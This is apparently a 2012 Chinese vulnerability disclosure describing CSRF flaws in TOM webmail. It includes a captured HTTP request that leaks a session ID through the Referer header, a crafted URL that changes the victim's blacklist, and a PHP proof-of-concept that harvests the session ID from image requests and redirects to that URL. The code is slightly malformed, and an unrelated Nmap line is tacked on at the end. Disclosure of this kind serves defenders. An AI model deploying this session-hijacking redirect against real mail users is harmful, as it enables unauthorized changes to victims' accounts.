TOM在线WEB邮箱存在多处CSRF漏洞

作者：hack1990 时间：12-04-14 阅读数：698人阅读

对于包含图片的附件，请求附件时Referer中会暴露当前sid，例如：

GET /mblogpic/be654a34c8f4aad1ec6a/2000 HTTP/1.1

Host: t100.qpic.cn

Connection: keep-alive

Cache-Control: max-age=0

If-Modified-Since: Fri, 06 Apr 2012 14:00:09 GMT

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19

Accept: */*

Referer: http://bjapp6.mail.tom.com/coremail/fcg/ldmsapp?funcid=readlett&sid=nAJcHTFziYRAMbTs&mid=1tbiEwEkBkV9AdrAoQAAsy%0A19%0A24%0A1&fid=1&ord=0&desc=1&start=0&fromsearch=1

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

DNT: 1

攻击者可以构造恶意图片，获取该sid，并构造重定向实现CSRF攻击，例如添加test@test.com至黑名单：

http://bjapp6.mail.tom.com/cgi/ldapapp?sid=nAJcHTFziYRAMbTs&tempname=options%2Frefuselist.htm&funcid=opuserattr&optype=set&refuselist=test%40test.com&update.x=1

从而实现CSRF攻击

漏洞证明：

测试代码：

< ?php

$url = parse_url($_SERVER['HTTP_REFERER']);

$host = $url['host'];

parse_str($url['query']);

$loc = "http:// www.xx.cn/cgi/ldapapp?sid=$sid&tempname=options%2Frefuselist.htm&funcid=opuserattr&optype=set&refuselist=test%40test.com&update.x=1";

header("Location: $loc");

# Nmap Security Scanner 7.0